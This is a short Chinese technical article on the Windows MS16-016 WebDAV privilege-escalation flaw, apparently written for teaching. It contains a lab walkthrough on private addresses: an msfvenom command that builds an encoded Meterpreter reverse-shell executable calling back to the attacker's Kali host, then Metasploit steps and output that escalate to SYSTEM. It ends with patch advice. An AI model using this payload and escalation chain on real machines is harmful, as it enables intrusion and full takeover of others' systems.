趙秋
摘要: 該文對MS16-016本地溢出漏洞做了簡單介紹,文中分析了利用MS16-016本地溢出漏洞,滲透到Windows 7中并獲取系統(tǒng)權(quán)限的實現(xiàn)方式,最后給出了對應(yīng)的防范措施。
關(guān)鍵詞: Metasploit;MS16-016;本地溢出漏洞
中圖分類號:TP393? ? ? 文獻(xiàn)標(biāo)識碼:A? ? ? 文章編號:1009-3044(2018)31-0216-01
1 漏洞介紹
MS16-016這個漏洞是由于Windows中的WebDAV未正確處理WebDAV客戶端發(fā)送的信息導(dǎo)致的。若要利用此漏洞,攻擊者首先必須登錄系統(tǒng)。然后,攻擊者可以運行一個為利用此漏洞而經(jīng)特殊設(shè)計的應(yīng)用程序,從而控制受影響的系統(tǒng)。此漏洞存在于在:Windows Vista SP2、Windows Server 2008 x86 & x64、Windows Server 2008 R2 x64、Windows 7 x86 & x64、Windows 8.1 x86 & x64。系統(tǒng)中提升權(quán)限至系統(tǒng)權(quán)限,以下系統(tǒng)中導(dǎo)致系統(tǒng)拒絕服務(wù)(藍(lán)屏):Windows Server 2012、Windows Server 2012 R2、Windows RT 8.1、Windows 10。
2 MS16-016本地溢出漏洞利用的實現(xiàn)
下面介紹在Kali中滲透Windows 7 x86的實現(xiàn)。Kali的IP地址為10.3.81.106,Windows 7 x86的IP地址為10.3.81.152,使用虛擬機kali 中的Metasploit利用MS16-016本地溢出漏洞對Windows 7的進(jìn)行滲透,從而獲得系統(tǒng)權(quán)限。
1) 在Kali上生成連接軟件msf.exe,LHOST為Kali的IP地址
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=10.3.81.106 LPORT=4444 -f exe > msf.exe
2)在命令行下輸入“msfconsole”,進(jìn)入MSF的啟動界面
root@kali:~# msfconsole
3)在Metasploit命令提示符下,使用use命令載入監(jiān)聽模塊。設(shè)置payload為windows/meterpreter/reverse_tcp。設(shè)置本地監(jiān)聽主機IP地址為Kali的IP??梢允褂胹how options查看相關(guān)參數(shù),輸入exploit命令開始監(jiān)聽。
4)將軟件msf.exe發(fā)給Windows 7上運行,此時kali上會有連接提示,可以看見MSF彈回了一個session 1(會話連接)。接著,在Meterpreter Shell中利用getuid命令查看已獲得的權(quán)限為user權(quán)限。我們要把它提升到system權(quán)限,即Windows最高權(quán)限。
5)輸入命令background,把當(dāng)前的metasploit shell轉(zhuǎn)為后臺執(zhí)行。選擇MS16-016這個漏洞在進(jìn)行提權(quán),同時設(shè)置剛才連接的ID為1。最后,執(zhí)行exploit命令進(jìn)行提權(quán),可以看到成功的把漏洞利用到了PID為2872的進(jìn)程中。
6)雖然提權(quán)成功了,但連接到的ID為1的會話連接中,執(zhí)行g(shù)etuid命令還是看見的是user權(quán)限。
msf exploit(windows/local/ms16_016_webdav) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: cmx-PC\cmx
7)使用migrate 命令,遷移到該進(jìn)程ID中。
meterpreter > migrate 2872
[*] Migrating from 4068 to 2872...
[*] Migration completed successfully.
8)然后執(zhí)行g(shù)etuid命令再次查看權(quán)限,可以看到已經(jīng)是系統(tǒng)權(quán)限了,輸入shell測試。
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 608 created.
Channel 1 created.
Microsoft Windows [版本 6.1.7601]
版權(quán)所有 (c) 2009 Microsoft Corporation。保留所有權(quán)利。
C:\Users\cmx\Desktop>
3 MS16-016本地溢出漏洞的防御
你也可以通過 Windows 更新獲取此更新程序。在你開啟自動更新后,系統(tǒng)會自動下載并安裝此更新程序。https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2016/ms16-016用戶可從此獲取獨立的更新程序包。此安全更新程序通過更正WebDAV驗證輸入的方式來修復(fù)這個漏洞。
參考文獻(xiàn):
[1] 祝烈煌,張子劍.網(wǎng)絡(luò)攻防實戰(zhàn)研究漏洞利用與提權(quán)[M].北京:電子工業(yè)出版社,2018.
[2][英]Nipun Jaswal,李華峰.精通Metasploit滲透測試[M]. 2版.北京:人民郵電出版社,2017.
[3] http://www.freebuf.com/vuls/95950.html.